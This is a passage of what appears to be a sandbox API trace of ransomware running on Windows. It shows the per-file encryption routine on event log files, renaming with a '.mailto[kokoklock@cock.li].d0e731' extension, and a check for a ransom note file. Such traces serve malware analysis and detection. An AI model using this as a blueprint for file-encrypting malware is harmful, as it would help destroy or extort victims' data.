ReadFile (in: hFile=0x49c, lpBuffer=0x5f6faa4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x5f6faa0, lpOverlapped=0x0 | out: lpBuffer=0x5f6faa4*, lpNumberOfBytesRead=0x5f6faa0*=0x4, lpOverlapped=0x0) returned 1 [0164.027] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.027] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8ac70 [0164.027] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8ac98 [0164.027] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8ab08 [0164.027] NtQuerySystemTime (in: CurrentTime=0x5f6fa7c | out: CurrentTime=0x5f6fa7c*=132121213213496748) returned 0x0 [0164.027] RtlRandom (in: Seed=0x5f6fa88 | out: Seed=0x5f6fa88) returned 0xb1cd60b2 [0164.027] RtlRandom (in: Seed=0x5f6fa88 | out: Seed=0x5f6fa88) returned 0xa8b053c7 [0164.027] RtlRandom (in: Seed=0x5f6fa88 | out: Seed=0x5f6fa88) returned 0x8631e464 [0164.027] RtlRandom (in: Seed=0x5f6fa88 | out: Seed=0x5f6fa88) returned 0xa5183c3b [0164.027] RtlRandom (in: Seed=0x5f6fa88 | out: Seed=0x5f6fa88) returned 0x5a46c9aa [0164.027] RtlRandom (in: Seed=0x5f6fa88 | out: Seed=0x5f6fa88) returned 0xfa3a52f8 [0164.027] RtlRandom (in: Seed=0x5f6fa88 | out: Seed=0x5f6fa88) returned 0x368e6259 [0164.027] RtlRandom (in: Seed=0x5f6fa88 | out: Seed=0x5f6fa88) returned 0xfab80e27 [0164.027] RtlRandom (in: Seed=0x5f6fa88 | out: Seed=0x5f6fa88) returned 0x2811a3af [0164.027] RtlRandom (in: Seed=0x5f6fa88 | out: Seed=0x5f6fa88) returned 0x540aa1e2 [0164.027] RtlRandom (in: Seed=0x5f6fa88 | out: Seed=0x5f6fa88) returned 0x4d413f6c [0164.027] RtlRandom (in: Seed=0x5f6fa88 | out: Seed=0x5f6fa88) returned 0x59644f96 [0164.027] RtlRandom (in: Seed=0x5f6fa88 | out: Seed=0x5f6fa88) returned 0x40227ef3 [0164.027] RtlRandom (in: Seed=0x5f6fa88 | out: Seed=0x5f6fa88) returned 0x35eaad7b [0164.027] RtlRandom (in: Seed=0x5f6fa88 | out: Seed=0x5f6fa88) returned 0xd2ff5999 [0164.028] RtlRandom (in: Seed=0x5f6fa88 | out: Seed=0x5f6fa88) returned 0xa04905b9 [0164.028] RtlRandom (in: Seed=0x5f6fa88 | out: Seed=0x5f6fa88) returned 0x2e95f5f4 [0164.028] RtlRandom (in: Seed=0x5f6fa88 | out: Seed=0x5f6fa88) returned 0xba1bbda3 [0164.028] RtlRandom (in: Seed=0x5f6fa88 | out: Seed=0x5f6fa88) returned 0xa7136270 [0164.028] RtlRandom (in: Seed=0x5f6fa88 | out: Seed=0x5f6fa88) returned 0x14875359 [0164.028] RtlRandom (in: Seed=0x5f6fa88 | out: Seed=0x5f6fa88) returned 0x7e390e9f [0164.028] RtlRandom (in: Seed=0x5f6fa88 | out: Seed=0x5f6fa88) returned 0x5151e335 [0164.028] RtlRandom (in: Seed=0x5f6fa88 | out: Seed=0x5f6fa88) returned 0x51b77920 [0164.028] RtlRandom (in: Seed=0x5f6fa88 | out: Seed=0x5f6fa88) returned 0x19c4d0b6 [0164.028] RtlRandom (in: Seed=0x5f6fa88 | out: Seed=0x5f6fa88) returned 0xbf79dcca [0164.028] RtlRandom (in: Seed=0x5f6fa88 | out: Seed=0x5f6fa88) returned 0xf5771a8 [0164.028] RtlRandom (in: Seed=0x5f6fa88 | out: Seed=0x5f6fa88) returned 0x604a5e09 [0164.028] RtlRandom (in: Seed=0x5f6fa88 | out: Seed=0x5f6fa88) returned 0x3331d9fb [0164.028] RtlRandom (in: Seed=0x5f6fa88 | out: Seed=0x5f6fa88) returned 0x38320d2c [0164.028] RtlRandom (in: Seed=0x5f6fa88 | out: Seed=0x5f6fa88) returned 0x52d21b85 [0164.028] RtlRandom (in: Seed=0x5f6fa88 | out: Seed=0x5f6fa88) returned 0xa2ea00c1 [0164.028] RtlRandom (in: Seed=0x5f6fa88 | out: Seed=0x5f6fa88) returned 0x4f925bca [0164.036] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8acc0 [0164.038] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f6ac50 [0164.038] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8ace8 [0164.038] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6ac50) returned 1 [0164.038] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8ac70) returned 1 [0164.038] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc2fb0 [0164.038] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.038] ReadFile (in: hFile=0x49c, lpBuffer=0x2fc2fb0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x5f6fa54, lpOverlapped=0x0 | out: lpBuffer=0x2fc2fb0*, lpNumberOfBytesRead=0x5f6fa54*=0x4096, lpOverlapped=0x0) returned 1 [0164.040] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.040] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87278 [0164.040] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f6ac50 [0164.040] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8ac70 [0164.040] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8ac70) returned 1 [0164.040] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc7050 [0164.041] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8ac70 [0164.041] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8aab8 [0164.041] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8aab8) returned 1 [0164.041] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6ac50) returned 1 [0164.041] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87278) returned 1 [0164.041] WriteFile (in: hFile=0x49c, lpBuffer=0x2fc7050*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x5f6fa54, lpOverlapped=0x0 | out: lpBuffer=0x2fc7050*, lpNumberOfBytesWritten=0x5f6fa54*=0x4096, lpOverlapped=0x0) returned 1 [0164.041] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc7050) returned 1 [0164.041] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x110c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.041] WriteFile (in: hFile=0x49c, lpBuffer=0x2f8ac70*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x5f6fa8c, lpOverlapped=0x0 | out: lpBuffer=0x2f8ac70*, lpNumberOfBytesWritten=0x5f6fa8c*=0x20, lpOverlapped=0x0) returned 1 [0164.042] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8ac70) returned 1 [0164.042] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc2fb0) returned 1 [0164.042] WriteFile (in: hFile=0x49c, lpBuffer=0x2f8ace8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x5f6faa0, lpOverlapped=0x0 | out: lpBuffer=0x2f8ace8*, lpNumberOfBytesWritten=0x5f6faa0*=0x8, lpOverlapped=0x0) returned 1 [0164.042] WriteFile (in: hFile=0x49c, lpBuffer=0x5f6fab8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x5f6faa0, lpOverlapped=0x0 | out: lpBuffer=0x5f6fab8*, lpNumberOfBytesWritten=0x5f6faa0*=0x4, lpOverlapped=0x0) returned 1 [0164.042] WriteFile (in: hFile=0x49c, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x5f6faa0, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x5f6faa0*=0x4, lpOverlapped=0x0) returned 1 [0164.042] WriteFile (in: hFile=0x49c, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x5f6faa0, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x5f6faa0*=0x6c, lpOverlapped=0x0) returned 1 [0164.042] WriteFile (in: hFile=0x49c, lpBuffer=0x2f8ac98*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x5f6faa0, lpOverlapped=0x0 | out: lpBuffer=0x2f8ac98*, lpNumberOfBytesWritten=0x5f6faa0*=0x20, lpOverlapped=0x0) returned 1 [0164.042] WriteFile (in: hFile=0x49c, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x5f6faa0, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x5f6faa0*=0x4, lpOverlapped=0x0) returned 1 [0164.042] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8ac98) returned 1 [0164.043] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8acc0) returned 1 [0164.043] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8ace8) returned 1 [0164.043] CloseHandle (hObject=0x49c) returned 1 [0164.043] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xbc) returned 0x2f6a4a8 [0164.043] wcscpy (in: _Dest=0x2f6a4a8, _Source="C:\\Logs\\HardwareEvents.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\HardwareEvents.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\HardwareEvents.evtx.mailto[kokoklock@cock.li].d0e731" [0164.043] wcscat (in: _Dest=0x2f6a4a8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\HardwareEvents.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\HardwareEvents.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0164.043] MoveFileW (lpExistingFileName="C:\\Logs\\HardwareEvents.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\hardwareevents.evtx.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Logs\\HardwareEvents.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\hardwareevents.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0164.044] SetFileAttributesW (lpFileName="C:\\Logs\\HardwareEvents.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0164.044] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6a4a8) returned 1 [0164.044] SetFileAttributesW (lpFileName="C:\\Logs\\HardwareEvents.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0164.044] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x36) returned 0x2f80860 [0164.044] wcscpy (in: _Dest=0x2f80860, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0164.044] wcscat (in: _Dest=0x2f80860, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0164.044] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0164.044] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f80860) returned 1 [0164.044] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6c5c8) returned 1 [0164.044] RtlExitUserThread (Status=0x1) Thread: id = 1504 os_tid = 0xe5c [0164.046] GetFileAttributesW (lpFileName="C:\\Logs\\Internet Explorer.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\internet explorer.evtx.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0164.046] SetFileAttributesW (lpFileName="C:\\Logs\\Internet Explorer.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0164.046] CreateFileW (lpFileName="C:\\Logs\\Internet Explorer.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\internet explorer.evtx.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x49c [0164.046] GetFileSizeEx (in: hFile=0x49c, lpFileSize=0x5fefda8 | out: lpFileSize=0x5fefda8*=69824) returned 1 [0164.046] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x110bc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.046] ReadFile (in: hFile=0x49c, lpBuffer=0x5fefd7c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x5fefd78, lpOverlapped=0x0 | out: lpBuffer=0x5fefd7c*, lpNumberOfBytesRead=0x5fefd78*=0x4, lpOverlapped=0x0) returned 1 [0164.047] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.047] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8ac70 [0164.047] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8ac98 [0164.047] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8acc0 [0164.047] NtQuerySystemTime (in: CurrentTime=0x5fefd54 | out: CurrentTime=0x5fefd54*=132121213213652981) returned 0x0 [0164.047] RtlRandom (in: Seed=0x5fefd60 | out: Seed=0x5fefd60) returned 0xc6270da3 [0164.047] RtlRandom (in: Seed=0x5fefd60 | out: Seed=0x5fefd60) returned 0x484715ca [0164.047] RtlRandom (in: Seed=0x5fefd60 | out: Seed=0x5fefd60) returned 0xa1852d1b [0164.047] RtlRandom (in: Seed=0x5fefd60 | out: Seed=0x5fefd60) returned 0x1017dd3c [0164.047] RtlRandom (in: Seed=0x5fefd60 | out: Seed=0x5fefd60) returned 0xb4cac71b [0164.048] RtlRandom (in: Seed=0x5fefd60 | out: Seed=0x5fefd60) returned 0xb205adbe [0164.048] RtlRandom (in: Seed=0x5fefd60 | out: Seed=0x5fefd60) returned 0x317f616d [0164.048] RtlRandom (in: Seed=0x5fefd60 | out: Seed=0x5fefd60) returned 0x991ca796 [0164.048] RtlRandom (in: Seed=0x5fefd60 | out: Seed=0x5fefd60) returned 0x85e54245 [0164.048] RtlRandom (in: Seed=0x5fefd60 | out: Seed=0x5fefd60) returned 0x59f46ff3 [0164.048] RtlRandom (in: Seed=0x5fefd60 | out: Seed=0x5fefd60) returned 0x4782e3f6 [0164.048] RtlRandom (in: Seed=0x5fefd60 | out: Seed=0x5fefd60) returned 0xdd7dc17a [0164.048] RtlRandom (in: Seed=0x5fefd60 | out: Seed=0x5fefd60) returned 0x4f9323d9 [0164.048] RtlRandom (in: Seed=0x5fefd60 | out: Seed=0x5fefd60) returned 0x254fd6f5 [0164.048] RtlRandom (in: Seed=0x5fefd60 | out: Seed=0x5fefd60) returned 0x333411b4 [0164.048] RtlRandom (in: Seed=0x5fefd60 | out: Seed=0x5fefd60) returned 0xe67f8925 [0164.048] RtlRandom (in: Seed=0x5fefd60 | out: Seed=0x5fefd60) returned 0x6745d1e4 [0164.048] RtlRandom (in: Seed=0x5fefd60 | out: Seed=0x5fefd60) returned 0xfe3be1d3 [0164.048] RtlRandom (in: Seed=0x5fefd60 | out: Seed=0x5fefd60) returned 0x6cff134d [0164.048] RtlRandom (in: Seed=0x5fefd60 | out: Seed=0x5fefd60) returned 0x2130e640 [0164.048] RtlRandom (in: Seed=0x5fefd60 | out: Seed=0x5fefd60) returned 0xbc777b25 [0164.048] RtlRandom (in: Seed=0x5fefd60 | out: Seed=0x5fefd60) returned 0x505cc6b3 [0164.048] RtlRandom (in: Seed=0x5fefd60 | out: Seed=0x5fefd60) returned 0xf6ff8807 [0164.048] RtlRandom (in: Seed=0x5fefd60 | out: Seed=0x5fefd60) returned 0x1eea9427 [0164.048] RtlRandom (in: Seed=0x5fefd60 | out: Seed=0x5fefd60) returned 0x5b1448a1 [0164.048] RtlRandom (in: Seed=0x5fefd60 | out: Seed=0x5fefd60) returned 0xb6434e07 [0164.048] RtlRandom (in: Seed=0x5fefd60 | out: Seed=0x5fefd60) returned 0xbb7b741a [0164.048] RtlRandom (in: Seed=0x5fefd60 | out: Seed=0x5fefd60) returned 0xd0658fdf [0164.048] RtlRandom (in: Seed=0x5fefd60 | out: Seed=0x5fefd60) returned 0x912177a7 [0164.048] RtlRandom (in: Seed=0x5fefd60 | out: Seed=0x5fefd60) returned 0xb7b3a836 [0164.048] RtlRandom (in: Seed=0x5fefd60 | out: Seed=0x5fefd60) returned 0x389b32b0 [0164.048] RtlRandom (in: Seed=0x5fefd60 | out: Seed=0x5fefd60) returned 0x4bd9bb48 [0164.057] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8ace8 [0164.059] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f6ac50 [0164.059] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8aab8 [0164.059] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6ac50) returned 1 [0164.059] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8ac70) returned 1 [0164.059] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc2fb0 [0164.059] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.059] ReadFile (in: hFile=0x49c, lpBuffer=0x2fc2fb0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x5fefd2c, lpOverlapped=0x0 | out: lpBuffer=0x2fc2fb0*, lpNumberOfBytesRead=0x5fefd2c*=0x4096, lpOverlapped=0x0) returned 1 [0164.060] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.060] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87278 [0164.060] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f6ac50 [0164.060] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8ac70 [0164.060] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8ac70) returned 1 [0164.060] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc7050 [0164.061] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8ac70 [0164.061] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a5b8 [0164.061] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a5b8) returned 1 [0164.061] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6ac50) returned 1 [0164.061] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87278) returned 1 [0164.061] WriteFile (in: hFile=0x49c, lpBuffer=0x2fc7050*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x5fefd2c, lpOverlapped=0x0 | out: lpBuffer=0x2fc7050*, lpNumberOfBytesWritten=0x5fefd2c*=0x4096, lpOverlapped=0x0) returned 1 [0164.061] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc7050) returned 1 [0164.061] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x110c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.061] WriteFile (in: hFile=0x49c, lpBuffer=0x2f8ac70*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x5fefd64, lpOverlapped=0x0 | out: lpBuffer=0x2f8ac70*, lpNumberOfBytesWritten=0x5fefd64*=0x20, lpOverlapped=0x0) returned 1 [0164.061] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8ac70) returned 1 [0164.061] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc2fb0) returned 1 [0164.061] WriteFile (in: hFile=0x49c, lpBuffer=0x2f8aab8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x5fefd78, lpOverlapped=0x0 | out: lpBuffer=0x2f8aab8*, lpNumberOfBytesWritten=0x5fefd78*=0x8, lpOverlapped=0x0) returned 1 [0164.062] WriteFile (in: hFile=0x49c, lpBuffer=0x5fefd90*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x5fefd78, lpOverlapped=0x0 | out: lpBuffer=0x5fefd90*, lpNumberOfBytesWritten=0x5fefd78*=0x4, lpOverlapped=0x0) returned 1 [0164.062] WriteFile (in: hFile=0x49c, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x5fefd78, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x5fefd78*=0x4, lpOverlapped=0x0) returned 1 [0164.062] WriteFile (in: hFile=0x49c, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x5fefd78, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x5fefd78*=0x6c, lpOverlapped=0x0) returned 1 [0164.062] WriteFile (in: hFile=0x49c, lpBuffer=0x2f8ac98*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x5fefd78, lpOverlapped=0x0 | out: lpBuffer=0x2f8ac98*, lpNumberOfBytesWritten=0x5fefd78*=0x20, lpOverlapped=0x0) returned 1 [0164.062] WriteFile (in: hFile=0x49c, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x5fefd78, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x5fefd78*=0x4, lpOverlapped=0x0) returned 1 [0164.062] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8ac98) returned 1 [0164.062] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8ace8) returned 1 [0164.062] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8aab8) returned 1 [0164.062] CloseHandle (hObject=0x49c) returned 1 [0164.062] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xc2) returned 0x2f88230 [0164.062] wcscpy (in: _Dest=0x2f88230, _Source="C:\\Logs\\Internet Explorer.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Internet Explorer.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Internet Explorer.evtx.mailto[kokoklock@cock.li].d0e731" [0164.062] wcscat (in: _Dest=0x2f88230, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Internet Explorer.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Internet Explorer.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0164.062] MoveFileW (lpExistingFileName="C:\\Logs\\Internet Explorer.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\internet explorer.evtx.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Logs\\Internet Explorer.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\internet explorer.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0164.063] SetFileAttributesW (lpFileName="C:\\Logs\\Internet Explorer.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0164.063] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88230) returned 1 [0164.063] SetFileAttributesW (lpFileName="C:\\Logs\\Internet Explorer.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0164.063] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x36) returned 0x2f80860 [0164.063] wcscpy (in: _Dest=0x2f80860, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0164.063] wcscat (in: _Dest=0x2f80860, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0164.064] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0164.064] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f80860) returned 1 [0164.064] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f67db0) returned 1 [0164.064] RtlExitUserThread (Status=0x1) Thread: id = 1505 os_tid = 0xe60 [0164.065] GetFileAttributesW (lpFileName="C:\\Logs\\Key Management Service.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\key management service.evtx.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0164.065] SetFileAttributesW (lpFileName="C:\\Logs\\Key Management Service.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0164.065] CreateFileW (lpFileName="C:\\Logs\\Key Management Service.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\key management service.evtx.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x49c [0164.066] GetFileSizeEx (in: hFile=0x49c, lpFileSize=0x606f984 | out: lpFileSize=0x606f984*=69824) returned 1 [0164.066] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x110bc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.066] ReadFile (in: hFile=0x49c, lpBuffer=0x606f958, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x606f954, lpOverlapped=0x0 | out: lpBuffer=0x606f958*, lpNumberOfBytesRead=0x606f954*=0x4, lpOverlapped=0x0) returned 1 [0164.067] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.067] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8ac70 [0164.067] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8ac98 [0164.067] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8ace8 [0164.067] NtQuerySystemTime (in: CurrentTime=0x606f930 | out: CurrentTime=0x606f930*=132121213213809170) returned 0x0 [0164.067] RtlRandom (in: Seed=0x606f93c | out: Seed=0x606f93c) returned 0x69b6a6dd [0164.067] RtlRandom (in: Seed=0x606f93c | out: Seed=0x606f93c) returned 0xf1ef580 [0164.067] RtlRandom (in: Seed=0x606f93c | out: Seed=0x606f93c) returned 0x631f0121 [0164.067] RtlRandom (in: Seed=0x606f93c | out: Seed=0x606f93c) returned 0x81a520cb [0164.067] RtlRandom (in: Seed=0x606f93c | out: Seed=0x606f93c) returned 0x2e5733bd [0164.067] RtlRandom (in: Seed=0x606f93c | out: Seed=0x606f93c) returned 0xbdb3abd1 